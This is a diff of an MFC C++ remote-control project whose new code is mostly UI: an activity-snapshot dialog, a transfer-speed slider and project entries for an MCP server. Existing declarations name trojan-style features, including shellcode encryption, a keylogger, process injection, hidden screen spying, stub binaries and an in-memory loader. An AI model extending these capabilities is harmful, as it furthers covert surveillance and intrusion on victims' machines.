std::map<HWND, CDialogBase *> m_RemoteWnds; std::map<HWND, CDialogBase *> m_RemoteWnds;
FileTransformCmd m_CmdList; FileTransformCmd m_CmdList;
@@ -470,6 +517,11 @@ public:
// 由 m_cs 保护。 // 由 m_cs 保护。
std::map<uint64_t, std::wstring> m_ActiveWndW; std::map<uint64_t, std::wstring> m_ActiveWndW;
afx_msg void OnOnlineMessage(); afx_msg void OnOnlineMessage();
afx_msg void OnChat();
afx_msg void OnMachineManager();
afx_msg void OnExperimentFileManager();
afx_msg void OnExperimentPrivateScreen();
afx_msg void OnExperimentDrawingBoard();
afx_msg void OnOnlineDelete(); afx_msg void OnOnlineDelete();
afx_msg void OnOnlineUpdate(); afx_msg void OnOnlineUpdate();
afx_msg void OnAbout(); afx_msg void OnAbout();
@@ -564,6 +616,9 @@ public:
afx_msg void OnMsglogCopy(); afx_msg void OnMsglogCopy();
afx_msg void OnMsglogClear(); afx_msg void OnMsglogClear();
afx_msg void OnMsglogSearch(); afx_msg void OnMsglogSearch();
afx_msg void OnMsglogLoginNotify();
afx_msg void OnMsglogBanIP();
afx_msg void OnMsglogUnbanIP();
afx_msg void OnOnlineAddWatch(); afx_msg void OnOnlineAddWatch();
afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult); afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnOnlineRunAsAdmin(); afx_msg void OnOnlineRunAsAdmin();
@@ -597,6 +652,7 @@ public:
afx_msg void OnToolPluginSettings(); afx_msg void OnToolPluginSettings();
afx_msg void OnTriggerSettings(); afx_msg void OnTriggerSettings();
void ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx); void ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx);
void ExecuteAuthFailedTrigger(CONTEXT_OBJECT* ctx);
afx_msg void OnShellcodeAesCArray(); afx_msg void OnShellcodeAesCArray();
afx_msg void OnParamKblogger(); afx_msg void OnParamKblogger();
afx_msg void OnOnlineInjNotepad(); afx_msg void OnOnlineInjNotepad();
@@ -630,6 +686,8 @@ public:
afx_msg void OnMasterTrail(); afx_msg void OnMasterTrail();
afx_msg void OnCancelShare(); afx_msg void OnCancelShare();
afx_msg void OnWebRemoteControl(); afx_msg void OnWebRemoteControl();
afx_msg void OnMcpSettings();
afx_msg void OnConnectionManage();
afx_msg void OnProxyPortAutorun(); afx_msg void OnProxyPortAutorun();
afx_msg void OnScreenpreviewLoop(); afx_msg void OnScreenpreviewLoop();
afx_msg void OnMenuCompress(); afx_msg void OnMenuCompress();
@@ -642,6 +700,8 @@ public:
afx_msg void OnOnlineActiveWnd(); afx_msg void OnOnlineActiveWnd();
afx_msg void OnEnableDevDebug(); afx_msg void OnEnableDevDebug();
afx_msg void OnOnlineClientLog(); afx_msg void OnOnlineClientLog();
afx_msg void OnOnlineHistoryActivity();
afx_msg LRESULT OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenConnectionDialog(WPARAM wParam, LPARAM lParam);
afx_msg void OnOnlineForbidden(); afx_msg void OnOnlineForbidden();
}; };
@@ -266,6 +266,7 @@
<None Include="res\Cur\MutiDrag.cur" /> <None Include="res\Cur\MutiDrag.cur" />
<None Include="res\My2015Remote.rc2" /> <None Include="res\My2015Remote.rc2" />
<None Include="res\web\fit.min.js" /> <None Include="res\web\fit.min.js" />
<None Include="res\web\opus-decoder.min.js" />
<None Include="res\web\xterm.css" /> <None Include="res\web\xterm.css" />
<None Include="res\web\xterm.min.js" /> <None Include="res\web\xterm.min.js" />
<None Include="stub2\stub32.bin" /> <None Include="stub2\stub32.bin" />
@@ -291,6 +292,7 @@
<ClInclude Include="BuildDlg.h" /> <ClInclude Include="BuildDlg.h" />
<ClInclude Include="CClientListDlg.h" /> <ClInclude Include="CClientListDlg.h" />
<ClInclude Include="CClientLog.h" /> <ClInclude Include="CClientLog.h" />
<ClInclude Include="CActivityDialog.h" />
<ClInclude Include="LogSearchBar.h" /> <ClInclude Include="LogSearchBar.h" />
<ClInclude Include="CDlgFileSend.h" /> <ClInclude Include="CDlgFileSend.h" />
<ClInclude Include="CDrawingBoard.h" /> <ClInclude Include="CDrawingBoard.h" />
@@ -316,6 +318,7 @@
<ClInclude Include="file\CFileTransferModeDlg.h" /> <ClInclude Include="file\CFileTransferModeDlg.h" />
<ClInclude Include="HideScreenSpyDlg.h" /> <ClInclude Include="HideScreenSpyDlg.h" />
<ClInclude Include="HostInfo.h" /> <ClInclude Include="HostInfo.h" />
<ClInclude Include="HostJson.h" />
<ClInclude Include="InputDlg.h" /> <ClInclude Include="InputDlg.h" />
<ClInclude Include="ZstaPickerDlg.h" /> <ClInclude Include="ZstaPickerDlg.h" />
<ClInclude Include="IOCPKCPServer.h" /> <ClInclude Include="IOCPKCPServer.h" />
@@ -324,12 +327,15 @@
<ClInclude Include="IPHistoryDlg.h" /> <ClInclude Include="IPHistoryDlg.h" />
<ClInclude Include="KeyBoardDlg.h" /> <ClInclude Include="KeyBoardDlg.h" />
<ClInclude Include="LangManager.h" /> <ClInclude Include="LangManager.h" />
<ClInclude Include="McpServer.h" />
<ClInclude Include="McpSettingsDlg.h" />
<ClInclude Include="NetworkDlg.h" /> <ClInclude Include="NetworkDlg.h" />
<ClInclude Include="NotifyConfig.h" /> <ClInclude Include="NotifyConfig.h" />
<ClInclude Include="NotifyManager.h" /> <ClInclude Include="NotifyManager.h" />
<ClInclude Include="NotifySettingsDlg.h" /> <ClInclude Include="NotifySettingsDlg.h" />
<ClInclude Include="FeatureLimitsDlg.h" /> <ClInclude Include="FeatureLimitsDlg.h" />
<ClInclude Include="FrpsForSubDlg.h" /> <ClInclude Include="FrpsForSubDlg.h" />
<ClInclude Include="ShareHostDlg.h" />
<ClInclude Include="PluginSettingsDlg.h" /> <ClInclude Include="PluginSettingsDlg.h" />
<ClInclude Include="PreviewTipWnd.h" /> <ClInclude Include="PreviewTipWnd.h" />
<ClInclude Include="TriggerSettingsDlg.h" /> <ClInclude Include="TriggerSettingsDlg.h" />
@@ -345,6 +351,7 @@
<ClInclude Include="SearchBarDlg.h" /> <ClInclude Include="SearchBarDlg.h" />
<ClInclude Include="Server.h" /> <ClInclude Include="Server.h" />
<ClInclude Include="ServicesDlg.h" /> <ClInclude Include="ServicesDlg.h" />
<ClInclude Include="ConnectionsDlg.h" />
<ClInclude Include="SettingDlg.h" /> <ClInclude Include="SettingDlg.h" />
<ClInclude Include="ShellDlg.h" /> <ClInclude Include="ShellDlg.h" />
<ClInclude Include="TerminalDlg.h" /> <ClInclude Include="TerminalDlg.h" />
@@ -374,6 +381,7 @@
<ItemGroup> <ItemGroup>
<ClCompile Include="..\..\client\Audio.cpp" /> <ClCompile Include="..\..\client\Audio.cpp" />
<ClCompile Include="CClientLog.cpp" /> <ClCompile Include="CClientLog.cpp" />
<ClCompile Include="CActivityDialog.cpp" />
<ClCompile Include="LogSearchBar.cpp" /> <ClCompile Include="LogSearchBar.cpp" />
<ClCompile Include="msvc_compat.c"> <ClCompile Include="msvc_compat.c">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader> <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
@@ -385,6 +393,9 @@
<ClCompile Include="PreviewTipWnd.cpp" /> <ClCompile Include="PreviewTipWnd.cpp" />
<ClCompile Include="TriggerSettingsDlg.cpp" /> <ClCompile Include="TriggerSettingsDlg.cpp" />
<ClCompile Include="WebService.cpp" /> <ClCompile Include="WebService.cpp" />
<ClCompile Include="HostJson.cpp" />
<ClCompile Include="McpServer.cpp" />
<ClCompile Include="McpSettingsDlg.cpp" />
<ClCompile Include="..\..\client\MemoryModule.c"> <ClCompile Include="..\..\client\MemoryModule.c">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader> <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader> <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
@@ -454,6 +465,7 @@
<ClCompile Include="NotifySettingsDlg.cpp" /> <ClCompile Include="NotifySettingsDlg.cpp" />
<ClCompile Include="FeatureLimitsDlg.cpp" /> <ClCompile Include="FeatureLimitsDlg.cpp" />
<ClCompile Include="FrpsForSubDlg.cpp" /> <ClCompile Include="FrpsForSubDlg.cpp" />
<ClCompile Include="ShareHostDlg.cpp" />
<ClCompile Include="Loader.c"> <ClCompile Include="Loader.c">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader> <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader> <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
@@ -473,6 +485,7 @@
<ClCompile Include="ScreenSpyDlg.cpp" /> <ClCompile Include="ScreenSpyDlg.cpp" />
<ClCompile Include="SearchBarDlg.cpp" /> <ClCompile Include="SearchBarDlg.cpp" />
<ClCompile Include="ServicesDlg.cpp" /> <ClCompile Include="ServicesDlg.cpp" />
<ClCompile Include="ConnectionsDlg.cpp" />
<ClCompile Include="SettingDlg.cpp" /> <ClCompile Include="SettingDlg.cpp" />
<ClCompile Include="ShellDlg.cpp" /> <ClCompile Include="ShellDlg.cpp" />
<ClCompile Include="TerminalDlg.cpp" /> <ClCompile Include="TerminalDlg.cpp" />
@@ -510,8 +523,11 @@
<Image Include="res\Bitmap\AuthGen.bmp" /> <Image Include="res\Bitmap\AuthGen.bmp" />
<Image Include="res\Bitmap\authorize.bmp" /> <Image Include="res\Bitmap\authorize.bmp" />
<Image Include="res\Bitmap\Backup.bmp" /> <Image Include="res\Bitmap\Backup.bmp" />
<Image Include="res\Bitmap\BrowseWnd.bmp" />
<Image Include="res\Bitmap\CancelShare.bmp" /> <Image Include="res\Bitmap\CancelShare.bmp" />
<Image Include="res\Bitmap\ClientLog.bmp" /> <Image Include="res\Bitmap\ClientLog.bmp" />
<Image Include="res\Bitmap\DrawingBoard.bmp" />
<Image Include="res\Bitmap\FileManager.bmp" />
<Image Include="res\Bitmap\Forbidden.bmp" /> <Image Include="res\Bitmap\Forbidden.bmp" />
<Image Include="res\bitmap\compress.bmp" /> <Image Include="res\bitmap\compress.bmp" />
<Image Include="res\Bitmap\Copy.bmp" /> <Image Include="res\Bitmap\Copy.bmp" />
@@ -526,6 +542,7 @@
<Image Include="res\Bitmap\GrayDesktop.bmp" /> <Image Include="res\Bitmap\GrayDesktop.bmp" />
<Image Include="res\Bitmap\Help.bmp" /> <Image Include="res\Bitmap\Help.bmp" />
<Image Include="res\Bitmap\History.bmp" /> <Image Include="res\Bitmap\History.bmp" />
<Image Include="res\Bitmap\HistoryActivity.bmp" />
<Image Include="res\Bitmap\HostProxy.bmp" /> <Image Include="res\Bitmap\HostProxy.bmp" />
<Image Include="res\Bitmap\Import.bmp" /> <Image Include="res\Bitmap\Import.bmp" />
<Image Include="res\Bitmap\ImportLicense.bmp" /> <Image Include="res\Bitmap\ImportLicense.bmp" />
@@ -544,7 +561,9 @@
<Image Include="res\Bitmap\PEEdit.bmp" /> <Image Include="res\Bitmap\PEEdit.bmp" />
<Image Include="res\Bitmap\Plugin.bmp" /> <Image Include="res\Bitmap\Plugin.bmp" />
<Image Include="res\Bitmap\PluginConfig.bmp" /> <Image Include="res\Bitmap\PluginConfig.bmp" />
<Image Include="res\Bitmap\PortProxyAuto.bmp" />
<Image Include="res\Bitmap\PortProxyStd.bmp" /> <Image Include="res\Bitmap\PortProxyStd.bmp" />
<Image Include="res\Bitmap\PrivacyShield.bmp" />
<Image Include="res\Bitmap\PrivateScreen.bmp" /> <Image Include="res\Bitmap\PrivateScreen.bmp" />
<Image Include="res\Bitmap\proxy.bmp" /> <Image Include="res\Bitmap\proxy.bmp" />
<Image Include="res\Bitmap\Reboot.bmp" /> <Image Include="res\Bitmap\Reboot.bmp" />
@@ -569,6 +588,7 @@
<Image Include="res\chat.ico" /> <Image Include="res\chat.ico" />
<Image Include="res\ClientLog.ico" /> <Image Include="res\ClientLog.ico" />
<Image Include="res\cmdshell.ico" /> <Image Include="res\cmdshell.ico" />
<Image Include="res\connections.ico" />
<Image Include="res\decrypt.ico" /> <Image Include="res\decrypt.ico" />
<Image Include="res\DrawingBoard.ico" /> <Image Include="res\DrawingBoard.ico" />
<Image Include="res\dword.ico" /> <Image Include="res\dword.ico" />
@@ -29,6 +29,7 @@
<ClCompile Include="RegisterDlg.cpp" /> <ClCompile Include="RegisterDlg.cpp" />
<ClCompile Include="ScreenSpyDlg.cpp" /> <ClCompile Include="ScreenSpyDlg.cpp" />
<ClCompile Include="ServicesDlg.cpp" /> <ClCompile Include="ServicesDlg.cpp" />
<ClCompile Include="ConnectionsDlg.cpp" />
<ClCompile Include="SettingDlg.cpp" /> <ClCompile Include="SettingDlg.cpp" />
<ClCompile Include="ShellDlg.cpp" /> <ClCompile Include="ShellDlg.cpp" />
<ClCompile Include="TerminalDlg.cpp" /> <ClCompile Include="TerminalDlg.cpp" />
@@ -76,6 +77,7 @@
<ClCompile Include="NotifyManager.cpp" /> <ClCompile Include="NotifyManager.cpp" />
<ClCompile Include="NotifySettingsDlg.cpp" /> <ClCompile Include="NotifySettingsDlg.cpp" />
<ClCompile Include="FrpsForSubDlg.cpp" /> <ClCompile Include="FrpsForSubDlg.cpp" />
<ClCompile Include="ShareHostDlg.cpp" />
<ClCompile Include="NetworkDlg.cpp" /> <ClCompile Include="NetworkDlg.cpp" />
<ClCompile Include="IPHistoryDlg.cpp" /> <ClCompile Include="IPHistoryDlg.cpp" />
<ClCompile Include="FeatureLimitsDlg.cpp" /> <ClCompile Include="FeatureLimitsDlg.cpp" />
@@ -84,7 +86,12 @@
<ClCompile Include="PluginSettingsDlg.cpp" /> <ClCompile Include="PluginSettingsDlg.cpp" />
<ClCompile Include="PreviewTipWnd.cpp" /> <ClCompile Include="PreviewTipWnd.cpp" />
<ClCompile Include="TriggerSettingsDlg.cpp" /> <ClCompile Include="TriggerSettingsDlg.cpp" />
<ClCompile Include="HostJson.cpp" />
<ClCompile Include="McpServer.cpp" />
<ClCompile Include="McpSettingsDlg.cpp" />
<ClCompile Include="CClientLog.cpp" /> <ClCompile Include="CClientLog.cpp" />
<ClCompile Include="CActivityDialog.cpp" />
<ClCompile Include="LogSearchBar.cpp" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="..\..\client\Audio.h" /> <ClInclude Include="..\..\client\Audio.h" />
@@ -122,6 +129,7 @@
<ClInclude Include="Resource.h" /> <ClInclude Include="Resource.h" />
<ClInclude Include="ScreenSpyDlg.h" /> <ClInclude Include="ScreenSpyDlg.h" />
<ClInclude Include="ServicesDlg.h" /> <ClInclude Include="ServicesDlg.h" />
<ClInclude Include="ConnectionsDlg.h" />
<ClInclude Include="SettingDlg.h" /> <ClInclude Include="SettingDlg.h" />
<ClInclude Include="ShellDlg.h" /> <ClInclude Include="ShellDlg.h" />
<ClInclude Include="TerminalDlg.h" /> <ClInclude Include="TerminalDlg.h" />
@@ -164,6 +172,7 @@
<ClInclude Include="CDlgFileSend.h" /> <ClInclude Include="CDlgFileSend.h" />
<ClInclude Include="..\..\client\reg_startup.h" /> <ClInclude Include="..\..\client\reg_startup.h" />
<ClInclude Include="HostInfo.h" /> <ClInclude Include="HostInfo.h" />
<ClInclude Include="HostJson.h" />
<ClInclude Include="CClientListDlg.h" /> <ClInclude Include="CClientListDlg.h" />
<ClInclude Include="context.h" /> <ClInclude Include="context.h" />
<ClInclude Include="CUpdateDlg.h" /> <ClInclude Include="CUpdateDlg.h" />
@@ -175,6 +184,7 @@
<ClInclude Include="NotifyManager.h" /> <ClInclude Include="NotifyManager.h" />
<ClInclude Include="NotifySettingsDlg.h" /> <ClInclude Include="NotifySettingsDlg.h" />
<ClInclude Include="FrpsForSubDlg.h" /> <ClInclude Include="FrpsForSubDlg.h" />
<ClInclude Include="ShareHostDlg.h" />
<ClInclude Include="TerminalModuleLoader.h" /> <ClInclude Include="TerminalModuleLoader.h" />
<ClInclude Include="..\..\common\SafeString.h" /> <ClInclude Include="..\..\common\SafeString.h" />
<ClInclude Include="NetworkDlg.h" /> <ClInclude Include="NetworkDlg.h" />
@@ -189,7 +199,11 @@
<ClInclude Include="PluginSettingsDlg.h" /> <ClInclude Include="PluginSettingsDlg.h" />
<ClInclude Include="PreviewTipWnd.h" /> <ClInclude Include="PreviewTipWnd.h" />
<ClInclude Include="TriggerSettingsDlg.h" /> <ClInclude Include="TriggerSettingsDlg.h" />
<ClInclude Include="McpServer.h" />
<ClInclude Include="McpSettingsDlg.h" />
<ClInclude Include="CClientLog.h" /> <ClInclude Include="CClientLog.h" />
<ClInclude Include="CActivityDialog.h" />
<ClInclude Include="LogSearchBar.h" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ResourceCompile Include="2015Remote.rc" /> <ResourceCompile Include="2015Remote.rc" />
@@ -220,6 +234,7 @@
<None Include="res\web\xterm.min.js" /> <None Include="res\web\xterm.min.js" />
<None Include="res\web\xterm.css" /> <None Include="res\web\xterm.css" />
<None Include="res\web\fit.min.js" /> <None Include="res\web\fit.min.js" />
<None Include="res\web\opus-decoder.min.js" />
<None Include="..\web\index.html" /> <None Include="..\web\index.html" />
<None Include="stub2\stub32.bin" /> <None Include="stub2\stub32.bin" />
<None Include="stub2\stub64.bin" /> <None Include="stub2\stub64.bin" />
@@ -252,6 +267,7 @@
<Image Include="res\screen.ico" /> <Image Include="res\screen.ico" />
<Image Include="res\machine.ico" /> <Image Include="res\machine.ico" />
<Image Include="res\system.ico" /> <Image Include="res\system.ico" />
<Image Include="res\connections.ico" />
<Image Include="res\chat.ico" /> <Image Include="res\chat.ico" />
<Image Include="res\decrypt.ico" /> <Image Include="res\decrypt.ico" />
<Image Include="res\file\FILE.ico" /> <Image Include="res\file\FILE.ico" />
@@ -332,5 +348,12 @@
<Image Include="res\Bitmap\Debug.bmp" /> <Image Include="res\Bitmap\Debug.bmp" />
<Image Include="res\ClientLog.ico" /> <Image Include="res\ClientLog.ico" />
<Image Include="res\Bitmap\ClientLog.bmp" /> <Image Include="res\Bitmap\ClientLog.bmp" />
<Image Include="res\Bitmap\Forbidden.bmp" />
<Image Include="res\Bitmap\HistoryActivity.bmp" />
<Image Include="res\Bitmap\BrowseWnd.bmp" />
<Image Include="res\Bitmap\PortProxyAuto.bmp" />
<Image Include="res\Bitmap\FileManager.bmp" />
<Image Include="res\Bitmap\PrivacyShield.bmp" />
<Image Include="res\Bitmap\DrawingBoard.bmp" />
</ItemGroup> </ItemGroup>
</Project> </Project>
+1 -1
View File
@@ -217,7 +217,7 @@ CBuildDlg::CBuildDlg(CWnd* pParent)
, m_strPort(_T("")) , m_strPort(_T(""))
, m_strFindden(FLAG_FINDEN) , m_strFindden(FLAG_FINDEN)
, m_sGroupName(_T("default")) , m_sGroupName(_T("default"))
, m_strEncryptIP(_T("是")) , m_strEncryptIP(_L(_T("是")))
, m_sInstallDir(_T("")) , m_sInstallDir(_T(""))
, m_sInstallName(_T("")) , m_sInstallName(_T(""))
, m_sDownloadUrl(_T("")) , m_sDownloadUrl(_T(""))
+100
View File
@@ -0,0 +1,100 @@
// CActivityDialog.cpp: 历史活动展示对话框(一次性快照,无子连接)
#include "stdafx.h"
#include "afxdialogex.h"
#include "CActivityDialog.h"
#include "resource.h"
#include "../../common/commands.h"
IMPLEMENT_DYNAMIC(CActivityDialog, CDialogEx)
CActivityDialog::CActivityDialog(CWnd* pParent, Server* pServer, CONTEXT_OBJECT* pContext)
: CDialogBase(IDD_DIALOG_CLIENT_LOG, pParent, pServer, pContext, 0)
{
}
CActivityDialog::~CActivityDialog()
{
}
void CActivityDialog::DoDataExchange(CDataExchange* pDX)
{
CDialogBase::DoDataExchange(pDX);
DDX_Control(pDX, IDC_EDIT_LOG, m_editLog);
}
BEGIN_MESSAGE_MAP(CActivityDialog, CDialogBase)
ON_WM_SIZE()
END_MESSAGE_MAP()
BOOL CActivityDialog::OnInitDialog()
{
CDialogBase::OnInitDialog();
SetWindowText(_TR("历史活动") + " - " + m_IPAddress);
HICON hIcon = AfxGetApp()->LoadIcon(IDI_CLIENTLOG);
SetIcon(hIcon, TRUE);
SetIcon(hIcon, FALSE);
// 用 Segoe UI:MBCS 工程里模板默认字体是 Microsoft Sans Serif(无 Dingbats 字形),
// 显式指定 Segoe UI,中文走字体链接到微软雅黑、Dingbats(✻/✦)走 Segoe UI Symbol 回退。
m_font.CreatePointFont(90, _T("Segoe UI"));
m_editLog.SetFont(&m_font);
// 重建为 Unicode 编辑框:这是 ✻/✦ 能正确显示的关键。重建时已保留上面的字体。
RebuildEdit(m_editLog);
// 解除 EDIT 控件默认约 64KB 长度上限,否则大快照经 SetWindowTextW 会被静默截断。
m_editLog.SetLimitText(0);
return TRUE;
}
void CActivityDialog::RebuildEdit(CEdit& m_edit)
{
CRect rc;
m_edit.GetWindowRect(&rc);
ScreenToClient(&rc);
DWORD style = m_edit.GetStyle();
DWORD exStyle = m_edit.GetExStyle();
HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
UINT ctrlID = m_edit.GetDlgCtrlID();
m_edit.DestroyWindow();
HWND hEdit = ::CreateWindowExW(
exStyle, L"EDIT", L"", style,
rc.left, rc.top, rc.Width(), rc.Height(),
this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
AfxGetInstanceHandle(), NULL);
m_edit.Attach(hEdit);
if (hFont)
m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
}
void CActivityDialog::OnSize(UINT nType, int cx, int cy)
{
CDialogBase::OnSize(nType, cx, cy);
if (m_editLog.GetSafeHwnd() && cx > 0 && cy > 0)
m_editLog.MoveWindow(7, 7, cx - 14, cy - 14);
}
// 快照模式:无子连接,OnReceiveComplete 空实现(纯虚函数必须覆盖)
void CActivityDialog::OnReceiveComplete()
{
}
void CActivityDialog::AppendLog(const std::string& text)
{
if (text.empty()) return;
// \n → \r\n,Windows 编辑框换行需要 \r\n
std::string norm;
norm.reserve(text.size() + 64);
for (size_t i = 0; i < text.size(); ++i) {
if (text[i] == '\n' && (i == 0 || text[i - 1] != '\r'))
norm += '\r';
norm += text[i];
}
// 服务端是 MBCS 工程,编辑框走 A 接口会把 UTF-8 中文当 ANSI 处理导致乱码;
// 与"活动窗口"列一致,用 W 接口显示:先把 UTF-8 转成宽字符,再走 WM_SETTEXTW 写入。
// (编辑框已在 OnInitDialog 中重建为 Unicode 窗口,SetWindowTextW 不会经过 CP_ACP 回转。)
int wlen = MultiByteToWideChar(CP_UTF8, 0, norm.c_str(), (int)norm.size(), NULL, 0);
if (wlen <= 0) return;
std::wstring w(wlen, L'\0');
MultiByteToWideChar(CP_UTF8, 0, norm.c_str(), (int)norm.size(), &w[0], wlen);
::SetWindowTextW(m_editLog.GetSafeHwnd(), w.c_str());
}
+36
View File
@@ -0,0 +1,36 @@
#pragma once
#include "afxcmn.h"
#include "IOCPServer.h"
class CActivityDialog : public CDialogBase
{
DECLARE_DYNAMIC(CActivityDialog)
public:
CActivityDialog(CWnd* pParent, Server* pServer, CONTEXT_OBJECT* pContext);
virtual ~CActivityDialog();
virtual void OnReceiveComplete();
void AppendLog(const std::string& text);
protected:
virtual BOOL OnInitDialog();
virtual void DoDataExchange(CDataExchange* pDX);
afx_msg void OnSize(UINT nType, int cx, int cy);
DECLARE_MESSAGE_MAP()
private:
// 把编辑框重建为 Unicode 类窗口(同 CKeyBoardDlg::RebuildEdit)。
// 工程是 MBCS,对话框模板创建的是 ANSI 编辑框,SetWindowTextW 会在 W->A
// 边界用 CP_ACP 转码,Dingbats(✻/✦)等字符会变 ?。重建为 Unicode 后
// W 版消息直通,不再走 CP_ACP。
void RebuildEdit(CEdit& m_edit);
CEdit m_editLog;
CFont m_font; // 编辑框字体(成员持有,随对话框销毁,避免堆泄漏)
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_DIALOG_CLIENT_LOG };
#endif
};
+3 -3
View File
@@ -37,9 +37,9 @@ BOOL CClientLog::OnInitDialog()
HICON hIcon = AfxGetApp()->LoadIcon(IDI_CLIENTLOG); HICON hIcon = AfxGetApp()->LoadIcon(IDI_CLIENTLOG);
SetIcon(hIcon, TRUE); SetIcon(hIcon, TRUE);
SetIcon(hIcon, FALSE); SetIcon(hIcon, FALSE);
CFont* pFont = new CFont(); m_font.CreatePointFont(85, _T("Consolas"));
pFont->CreatePointFont(85, _T("Consolas")); m_editLog.SetFont(&m_font);
m_editLog.SetFont(pFont); m_editLog.SetLimitText(0); // 解除 EDIT 控件默认长度上限,改由 AppendLog 的 512KB 逻辑管理
return TRUE; return TRUE;
} }
+1
View File
@@ -24,6 +24,7 @@ protected:
private: private:
CEdit m_editLog; CEdit m_editLog;
CFont m_font;
#ifdef AFX_DESIGN_TIME #ifdef AFX_DESIGN_TIME
enum { IDD = IDD_DIALOG_CLIENT_LOG }; enum { IDD = IDD_DIALOG_CLIENT_LOG };
+122
View File
@@ -0,0 +1,122 @@
// CFileSpeedDlg.h
// 文件传输速度调节对话框:拖动滑块选档位,实时显示预估速度。
// 纯主控端 UI 偏好,持久化由 CMy2015RemoteDlg::OnFileTransferSpeed() 负责。
// 仅在 2015RemoteDlg.cpp 中 include 一次(头文件内联实现 + 消息映射,勿多处包含)。
#pragma once
#include "LangManager.h"
#include <afxcmn.h>
// 档位表(权威来源:docs/FileTransferSpeed_Design.md §3)。
// chunkKb * 1024 / durationMs 即理论字节/秒;durationMs==0 表示不人为限速。
struct FileSpeedTier { int chunkKb; int durMs; const TCHAR* name; };
static const FileSpeedTier kFileSpeedTiers[] = {
{ 64, 200, _T("最慢") }, // ≈0.31 MB/s
{ 64, 100, _T("慢") }, // ≈0.63 MB/s
{ 64, 50, _T("默认") }, // ≈1.25 MB/s
{ 128, 50, _T("快") }, // ≈2.5 MB/s
{ 256, 50, _T("更快") }, // ≈5 MB/s
{ 512, 50, _T("很快") }, // ≈10 MB/s
{ 1024, 0, _T("不限速") }, // 网络上限
};
#define FILE_SPEED_TIER_COUNT 7
#define FILE_SPEED_DEFAULT_TIER 2 // 默认档位
class CFileSpeedDlg : public CDialog
{
public:
enum { IDD = IDD_FILE_SPEED };
CFileSpeedDlg(int chunkKb, int durMs, CWnd* pParent = NULL)
: CDialog(CFileSpeedDlg::IDD, pParent), m_chunkKb(chunkKb), m_durMs(durMs)
{
}
int GetChunkKb() const { return m_chunkKb; }
int GetDurMs() const { return m_durMs; }
protected:
int m_chunkKb;
int m_durMs;
static int TierIndexFor(int chunkKb, int durMs)
{
for (int i = 0; i < FILE_SPEED_TIER_COUNT; i++)
if (kFileSpeedTiers[i].chunkKb == chunkKb && kFileSpeedTiers[i].durMs == durMs)
return i;
return FILE_SPEED_DEFAULT_TIER; // 未知值回落默认
}
static void FormatSpeed(int idx, CString& out)
{
const FileSpeedTier& t = kFileSpeedTiers[idx];
// 档位名与格式串经 _TR/_LF 走多语言表(LangManager),语言文件以中文原文为 key。
if (t.durMs <= 0) {
out.FormatL(_T("%s · 不受限速(受网络带宽约束)"), _LF(t.name));
return;
}
double mbps = (double)t.chunkKb * 1024.0 / (t.durMs / 1000.0) / (1024.0 * 1024.0);
out.FormatL(_T("%s · 约 %.2f MB/s"), _LF(t.name), mbps);
}
int GetSliderPos()
{
int pos = (int)SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_GETPOS, 0, 0);
if (pos < 0) pos = 0;
if (pos >= FILE_SPEED_TIER_COUNT) pos = FILE_SPEED_TIER_COUNT - 1;
return pos;
}
void UpdateLabel()
{
CString s;
FormatSpeed(GetSliderPos(), s);
SetDlgItemText(IDC_FSPEED_LABEL, s);
}
virtual BOOL OnInitDialog() override
{
CDialog::OnInitDialog();
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETRANGE, TRUE,
MAKELONG(0, FILE_SPEED_TIER_COUNT - 1));
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETPAGESIZE, 0, 1);
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETTICFREQ, 0, 1);
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETPOS, TRUE, TierIndexFor(m_chunkKb, m_durMs));
UpdateLabel();
TranslateDialog(this);
return TRUE;
}
virtual void OnOK() override
{
int idx = GetSliderPos();
m_chunkKb = kFileSpeedTiers[idx].chunkKb;
m_durMs = kFileSpeedTiers[idx].durMs;
CDialog::OnOK();
}
afx_msg void OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
{
(void)nSBCode; (void)nPos; (void)pScrollBar;
UpdateLabel(); // 拖动过程中实时刷新预估速度
}
virtual BOOL OnCommand(WPARAM wParam, LPARAM lParam) override
{
if (LOWORD(wParam) == IDC_FSPEED_RESET && HIWORD(wParam) == BN_CLICKED) {
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETPOS, TRUE, FILE_SPEED_DEFAULT_TIER);
UpdateLabel();
return TRUE;
}
return CDialog::OnCommand(wParam, lParam);
}
DECLARE_MESSAGE_MAP()
};
